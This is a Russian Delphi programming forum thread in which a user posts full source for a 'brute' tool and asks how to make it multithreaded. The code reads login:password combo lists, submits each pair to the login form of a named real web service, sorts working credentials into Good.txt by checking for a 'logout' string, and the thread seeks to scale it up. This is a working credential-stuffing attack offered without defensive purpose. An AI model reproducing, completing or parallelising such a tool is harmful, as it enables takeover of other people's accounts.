Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 26.02.2013, 02:52   #1
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
По умолчанию Проблема с брутом

И так всем привет. Я начал изучать делфи совсем недавно и вот уже написал небольшой брут. Мне нужно как то заменить конструкцию for..to..do, для того что бы сделать потом его многопоточным. Ибо если я так пытаюсь сделать его многопоточным, то у меня 1 поток берет 1 аккаунт и обрабатывает все до последнего аккаунта, а потом второй тоже берет все аккаунты. В общем 1 потом берет себе все аккаунты, а второй ждет пока он все проверит и проверят то же самое. Думаю что много непонятного наговорил. Ну если что спрашивайте что вам не понятно в вопросе.
snip4ik вне форума Ответить с цитированием
Старый 26.02.2013, 02:53   #2
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
По умолчанию

Кстати вот код брута.
Код:
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, XPMan;
 
type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Memo2: TMemo;
    Button1: TButton;
    IdHTTP1: TIdHTTP;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Memo3: TMemo;
    Edit1: TEdit;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  g, b: integer;
  gf, bf: textfile;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.Button1Click(Sender: TObject);
var
a: integer;
StrPage, ssylka, login, pass: string;
log: TstringList;
i: integer;
begin
g:=0;
b:=0;
Memo2.Clear;
Memo3.Clear;
for i:=0 to Memo1.lines.Count -1 do
begin
a:=pos(':',Memo1.text);
if a<>0 then
begin
login:= Copy(Memo1.Lines.Strings[i],1,Pos(':',Memo1.Lines.Strings[i])-1);
pass:= Copy(Memo1.Lines.Strings[i],Pos(':',Memo1.Lines.Strings[i])+1,length(Memo1.Lines.Strings[i]));
end
else
begin
login:= Copy(Memo1.Lines.Strings[i],1,Pos(';',Memo1.Lines.Strings[i])-1);
pass:= Copy(Memo1.Lines.Strings[i],Pos(';',Memo1.Lines.Strings[i])+1,length(Memo1.Lines.Strings[i]));
end;
idHttp1.HandleRedirects:=true;
ssylka:='http://secure.online.ua/';
log:=TstringList.Create;
log.Add('username='+login);
log.Add('userpswd='+pass);
log.Add('mem=on');
log.Add('domain=online.ua');
log.Add('rfr=http://www.online.ua/');
log.Add('btn_login=Войти');
StrPage:= IdHttp1.Post(ssylka,log);
if pos('logout',StrPage) <>0 then
begin
Memo2.Lines.Add(memo1.Lines.Strings[i]);
g:=g+1;
Label3.Caption:=inttostr(g);
end
else
begin
Memo3.lines.add(memo1.Lines.Strings[i]);
b:=b+1;
Label4.Caption:=inttostr(b);
end;
log.Free;
login:='';
pass:='';
end;
end;
end;
 
procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Edit1.Text:= OpenDialog1.FileName;
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
end;
end;
 
 
end.
snip4ik вне форума Ответить с цитированием
Старый 26.02.2013, 18:53   #3
bulldog5293
Форумчанин
 
Регистрация: 13.05.2010
Сообщений: 670
По умолчанию

а где сам поток, то что вы указали это vcl поток
bulldog5293 вне форума Ответить с цитированием
Старый 26.02.2013, 19:01   #4
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
По умолчанию

Цитата:
Сообщение от bulldog5293 Посмотреть сообщение
а где сам поток, то что вы указали это vcl поток
Я знаю, просто когда я делал с потоками TThread у меня 1 поток делает все до конца, а потом второй то же самое.
Ну вот я набросал пример многопоточности:
Код:
//поток
procedure TNewThread.Execute;
begin
  begin
  while work do
  begin
  cs.Enter;

  cs.Leave;

   end;
 dec(Thread);
 if Thread=0 then ShowMessage('OK');
end;
end;
А вот кнопка что бы запустить поток
Код:
  work:=true;
 for Thread:=1  to strtoint(SpinEdit1.Text) do
  TNewThread.Create(false);
 Thread:=strtoint(SpinEdit1.Text);
Так как мне заменить функцию for..to..do ?
Ибо если просто вставить код брута в процедуру execute, то как я уже описал ничего хорошего не получается.(
snip4ik вне форума Ответить с цитированием
Старый 26.02.2013, 19:02   #5
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
По умолчанию

Я делал вот так
Код:

unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, XPMan, SyncObjs;
 
type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Memo2: TMemo;
    Button1: TButton;
    IdHTTP1: TIdHTTP;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Memo3: TMemo;
    Edit1: TEdit;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
type
  TMyThead = class(TThread)
    private
      {Private diclar}
    public
      {Public diclar}
    Procedure Execute; Override;
  end;
 
var
  Form1: TForm1;
  g, b: integer;
  gf, bf: textfile;
  CS: TCriticalSection;
 
implementation
 
{$R *.dfm}
 
 
procedure TMyThead.Execute;
var
a: integer;
StrPage, ssylka, login, pass: string;
log: TstringList;
i: integer;
begin
CS.Enter;
g:=0;
b:=0;
Form1.Memo2.Clear;
Form1.Memo3.Clear;
for i:=0 to Form1.Memo1.lines.Count -1 do
begin
a:=pos(':',Form1.Memo1.text);
if a<>0 then
begin
login:= Copy(Form1.Memo1.Lines.Strings[i],1,Pos(':',Form1.Memo1.Lines.Strings[i])-1);
pass:= Copy(Form1.Memo1.Lines.Strings[i],Pos(':',Form1.Memo1.Lines.Strings[i])+1,length(Form1.Memo1.Lines.Strings[i]));
end
else
begin
login:= Copy(Form1.Memo1.Lines.Strings[i],1,Pos(';',Form1.Memo1.Lines.Strings[i])-1);
pass:= Copy(Form1.Memo1.Lines.Strings[i],Pos(';',Form1.Memo1.Lines.Strings[i])+1,length(Form1.Memo1.Lines.Strings[i]));
end;
Form1.idHttp1.HandleRedirects:=true;
ssylka:='http://secure.online.ua/';
log:=TstringList.Create;
log.Add('username='+login);
log.Add('userpswd='+pass);
log.Add('mem=on');
log.Add('domain=online.ua');
log.Add('rfr=http://www.online.ua/');
log.Add('btn_login=Войти');
StrPage:= Form1.IdHttp1.Post(ssylka,log);
if pos('logout',StrPage) <>0 then
begin
Form1.Memo2.Lines.Add(Form1.memo1.Lines.Strings[i]);
g:=g+1;
Form1.Label3.Caption:=inttostr(g);
Append(gf);
Writeln(gf,login+';'+pass);
Closefile(gf)
end
else
begin
Form1.Memo3.lines.add(Form1.memo1.Lines.Strings[i]);
b:=b+1;
Form1.Label4.Caption:=inttostr(b);
Append(bf);
Writeln(bf,login+';'+pass);
Closefile(bf);
end;
log.Free;
login:='';
pass:='';
end;
CS.Leave;
end;
 
procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Edit1.Text:= OpenDialog1.FileName;
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
end;
end;
 
procedure TForm1.Button1Click(Sender: TObject);
var MyThread: TMyThead;
begin
assignfile(gf,'Good.txt');
assignfile(bf,'Bad.txt');
rewrite(gf);
rewrite(bf);
closefile(gf);
closefile(bf);
MyThread:=TMyThead.Create(true);
MyThread.FreeOnTerminate:=false;
MyThread.Priority:=tpHighest;
MyThread.Resume;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
CS:=TCriticalSection.Create;
end;
end.
snip4ik вне форума Ответить с цитированием
Старый 27.02.2013, 20:28   #6
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
По умолчанию

Заменил в коде memo3 на переменную типа TStringList. Но по прежнему не знаю чем можно заменить for i:=0 to Account.count-1 do
begin
...
end;
snip4ik вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Неблокирующий сокет Си проблема с закрытием, проблема с закрытием сокетов в цикле mnx_vol C/C++ Сетевое программирование 0 06.11.2012 13:57
проблема с перебором...брутом Obey177 Общие вопросы Delphi 3 30.08.2010 03:54
Проблема с рамами/Проблема с ЖД DRAGGER Компьютерное железо 6 04.01.2009 23:37